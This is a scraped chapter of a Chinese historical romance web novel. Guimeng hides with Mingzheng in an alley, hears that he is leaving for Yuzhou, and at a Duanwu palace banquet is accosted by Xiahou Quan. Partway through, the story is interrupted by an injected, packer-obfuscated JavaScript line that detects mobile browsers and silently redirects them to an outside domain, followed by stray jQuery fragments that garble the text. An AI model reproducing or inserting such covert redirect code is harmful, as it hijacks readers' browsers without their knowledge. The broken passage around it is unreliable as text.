默认冷灰
24号文字
方正启体

14. 入望遥

作者:孙洛本书字数:K更新时间:
    倏忽间计从心生,她回头冲明铮眨了眨眼睛。


    “哎呀不好,你阿父又来抓你回去了!”归梦指着少女背后大喊。


    凑巧少女身后有路人经过,归梦便装模作样吓唬她。


    趁着少女回头的瞬间,归梦拉起明铮就跑。


    明铮虽没反应过来,却也不由自主地配合她,脚步飞快地任由她拉着跑。


    等那少女反应过来去追,她已经拉着明铮钻进民居旁的一条小巷中躲了起来。


    小巷子幽暗狭窄,一角还堆了些杂物,两个人并肩背贴着墙面站着。


    归梦听到那少女追寻的声音就在左近,不由得有些紧张,不自觉地连呼吸都快要屏住了。


    在这逼仄的空间里,归梦感觉到明铮温热的身躯紧挨着自己,甚至能感受到他的呼吸,一时间,她竟忘了是在躲避,只盼望在这狭窄局促的巷子里呆得再久一些,再久一些。


    巷子的地面肮脏不平,归梦脚边的杂物堆里发出一阵轻微声响。


    “吱吱”,黑暗中有模糊不清的活物影子飞快地从她脚边窜了过去。


    她骇得双眼瞪大,忍不住“啊”地大叫出声,连连跳脚,生怕被这脏东西沾到。


    她平日胆子虽大,但生平最怕这恶心的老鼠。幼年时见过一次,便吓得整晚都做噩梦。


    叫声刚一出口就即刻中断了,她被拉进了一个温暖的怀抱中。明铮的胸膛堵住了她的嘴巴,剩下的叫声被她硬生生憋了回去。一瞬间她忘记了恐惧,转而被那奇异的感觉替代,充斥了她的心房。


    她的脸颊紧紧贴着明铮的胸膛,能听到他结实有力的心跳。


    她那一句惊慌失措的尖叫并未引来追兵。


    沉沉夜色无边,天地间忽然变得静悄悄的,好像只剩两人的心跳声与呼吸声。


    鼻息间,她又闻到了那沉水香混着松针的好闻气息,是从他身上散出的。她生平第一次和男子靠的如此紧密,还是这个让她朝思暮想的男子。她感觉自己的胸腔里像是塞满了棉花,蓬蓬的,软软的,又似乎快要被融化了。那种感觉像是午后沐着暖阳饮下一口温热的桂花蜜水。


    一时间,手足无措,她不敢触碰他的身体,只是任由他揽着自己。


    良久,他松开了她。


    “没事了。”归梦庆幸这里昏暗不明,不然明铮一定能看到她害羞得飞红的脸。


    他侧身准备走出巷子,她却拉住了他,低声道:“再等一等吧,万一她还没走远呢。”


    暗巷中,两人贴着墙壁并排而站,有些狼狈,可她却觉得这氛围是说不出的温馨。她觉得她与明铮的距离越来越近了,近到似乎快可以突破他的心防,看到他内心深处的隐秘。


    明铮低声轻笑道:“你解决问题的法子总是这般直截了当吗?”


    “那种情形,不跑还能如何?”


    她忽然觉得两人躲在小巷子里这幅场景十分有趣。两人身份都不低,却在黑夜中躲藏在这混杂民居的肮脏野巷里,只为了回避一个追逐他们的少女。


    于是忽地又起了顽意:“莫非你真的想把那女娘带回府收房?”


    “此时此地你还与我顽笑。”他答得飞快。归梦听了很是欢喜。


    “说起来这桩闲事可是你先出手管的。”


    归梦回想了下,好像确实是这样。


    “呃……”她一时语塞,只能胡乱强辩:“路见不平,总不能不救。虽是我先起意救她,可她感激的却是你,还一心一意要跟着你。嘻嘻,最难消受美人恩,说到底还是远书你的魅力无边。”


    “这样的事多不胜数,你又岂能管得过来?”明铮叹道。


    “能管一桩是一桩嘛,那依你说,又当如何?”


    明铮沉默了,半晌才道:“‘仓廪实而知礼节,衣食足而知荣辱’。山河动荡,生计艰难,世人蒙昧沉溺酒色,才会有卖儿鬻女之事。”


    “那……她回去后会不会再被卖?”归梦不由得又替那少女担心起来。


    “方才我已亮明身份,让他白日间到我府上去拿银两,也告诫了他,卖良家妇女为娼触犯律法。想来他不会再敢了。”


    归梦问道:“你不怕他食髓知味,总是去找你要银两?”


    “敢敲诈勒索朝廷命官,怕是他嫌命长了。”


    出了暗巷,街上已是寂静无人,唯有清风伴着朗月和点点星子。


    明铮忽然驻足:“小孟。”


    “嗯?”归梦一时还不习惯这个称呼,愣了一下才反应过来。


    “与你相识的这段日子,我很欢喜。”


    归梦不明白他为何会忽然说这些,她点了点头,冲口而出:“我也是。”


    “我即将离开建康一段时日。”


    归梦脑子里轰地一声,好像什么都听不到了,只听见自己假装淡定但实际上有些颤抖的声音:“为何忽然要走?你要去哪里?去多久?何时出发?”


    明铮不料她连珠箭式的问题,笑笑:“皇命在身。此去豫州,归期不定,明日就出发。”


    那,她是来不及给他饯行了……今晚就是临行前的最后一面了。


    她忽然很想哭,喉咙和胸口都像堵住了,声音也开始哽咽了,只能拼命地压抑住,鼓起一个微笑:“好,我等你归来,为你接风洗尘。”


    为什么?她想念了他三年,才找到了他。而他们不过才短短相处月余,他就又要离开她!甚至,她都还没来得及告诉他自己是个女儿家,更没来得及把对他的感情向他表露。


    这一别,何时才能再相见呢?


    月亮圆了又缺,缺了又圆。转眼已到端午,却仍是不闻明铮的归音。


    归梦也曾去明府问过门房,确认了明铮确是没有回来。豫州虽远在千里之外,但一月时间也足够来回了。


    她本对朝政是无甚兴趣的,但是随着明铮久久不回,也忍不住想去打听他究竟为何公务而去豫州,甚至开始担心他的安危。


    她忽地想到了那相士批的字条。谁知将荷包翻了个底朝天也未找到。那字条消失得无影无踪。


    归梦将紫芽与平日能接触到她随身饰物的侍女盘问一番,均说不曾碰过荷包。


    看来应是与明铮分别那一晚,她与那醉汉纠缠,掏荷包给他钱时,不慎遗失了。


    想到那相士的话,字条的失落倒像是个不好的预兆,也许预示着她追逐明铮这条路不会那么顺利……


    这念头如乌云一般笼罩在她心上。


    她也曾再去那小市集上找寻那名相士,可去了几次,都不曾再见到。


    如此一来,归梦更觉惴惴不安,整日价就像霜打了的茄子一般,大门不出二门不迈。东安侯与谢氏一度怀疑她是不是生了病。她也就趁机称病,推掉了一切日常的雅集宴会。


    到了端午这一日,终是躲不过去了。谢氏精明,早看出归梦是装病,一大早便把她叫起梳洗打扮。


    宫中早有侍者送来角黍与五毒饼,这是每年端午的惯例。


    傍晚时分,归梦随着父母一同入宫。


    太初宫她自是不陌生,帝后端坐上首,今日世家各族中人来得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599172|171994||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也很是齐全。


    琴瑟声起,莺歌燕舞。


    案上摆满热炙美酒,野味山珍。


    她遥遥看着坐在太子右手边的诗安,一身中规中矩的淡紫宫装,薄施粉黛,两弯远山眉似蹙非蹙,微笑之下仿佛隐着愁容。看她的样子,倒是清减了一些。难道,也是在为明铮迟迟不归而担心吗?


    想到明铮,归梦就觉得这欢歌乐舞的气氛与自己的心境格格不入,佳肴在前也无心享用。她以更衣为名告了母亲,携着紫芽悄悄退出殿去。


    远离了热闹嘈杂的殿宇,拣了花园里廊柱边一僻静处坐下,拿着酒与紫芽对饮。


    虽已入夏,但夜晚还是凉爽,只是多了些令人烦躁的蝉鸣。归梦感觉背上出的一层薄汗渐渐干了。


    天边一弯寂寞新月如钩,反衬了满天星斗的热闹。


    银汉迢迢,人亦相隔千里。不知道明铮现在在做什么呢?


    归梦不觉叹了口气。


    “什么人在那里?!”身旁灌木丛后传来内监独有的尖利嗓音。


    话音刚落,昏暗中一名衣着华贵的年轻男子带着几名内监走了出来。


    紫芽见状出言呵斥:“是东安侯府的女公子在这里,无事,你们退下吧!”


    “哦?”为首的年轻男子闻言来了兴致,反而走近了几步:“是岑家妹妹吗?”


    紫芽见来人不退反进,颇为无礼,急忙拦在归梦身前:“你是什么人?勿得上前!”


    男子身侧的内监递上了一盏宫灯,他趁手接过,将宫灯提了提,显然是想照清楚归梦的形貌。


    归梦也借着宫灯的光亮看清了对方——绛朱色的绸缎长袍绣着暗纹金线,腰间挂满环佩,长相还算端正,只是那眼珠子乱转,来回在人身上打量,看着有些讨厌。


    他看清归梦后立刻浮起笑容:“果真是妹妹。宴会之上,与妹妹隔得远也不曾好好叙旧。妹妹怎么在这呢?”


    归梦淡淡答道:“夏侯公子不也在此?我可碍着谁了吗?”


    夏侯权笑道:“那倒没有。是陛下嫌这鸣蝉声响太大,扰了丝竹之音,我正着人将树上这些蝉给粘了去。”说罢挥挥手,命那些内监下去了。


    归梦本对夏侯权无甚好感,两人向来接触不多。


    自从夏侯权的姊姊夏侯敏一跃成为太子妃后,他行事作风就愈发大胆狂妄了。


    上次在太子西苑,夏侯敏流露出撮和她与夏侯权的意思,她并没太放在心上。现下听他一口一个“妹妹”地叫自己,顿时觉得说不出的厌恶,忍不住出言讥讽:“夏侯公子倒是殷勤,粘蝉这种小事也亲力亲为。”


    谁料夏侯权不仅听不出讽刺之意,反而有些自得:“此言差矣,陛下的事再小,那也是大事。”


    归梦不耐和这种草包多说,丢下一句“失陪”,起身准备离开。夏侯权笑笑,绛朱色的袍角一闪,拦住了去路:“许久不见,妹妹怎地这般着急走?如此良宵,何妨多聊一会儿?”


    紫芽忍不住上前:“公子可是吃醉酒了?不如奴婢唤个内监来扶您去休息一下。”


    夏侯权面色一沉:“好无礼的丫头,你可知我的身份?敢这么对我说话!”


    归梦见紫芽被夏侯权的怒容吓到没了言语,伸手轻轻把她扯到自己身后,接口道:“夏侯公子是太子殿下的内弟,谁人不知?”


    夏侯权闻言面色稍霁,朝归梦身后的紫芽笑了笑:“你放心,本公子只是心悦你家女公子。许久未见,想要一诉衷肠。”


    他目光转而投向归梦,毫不掩饰暧昧之意。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)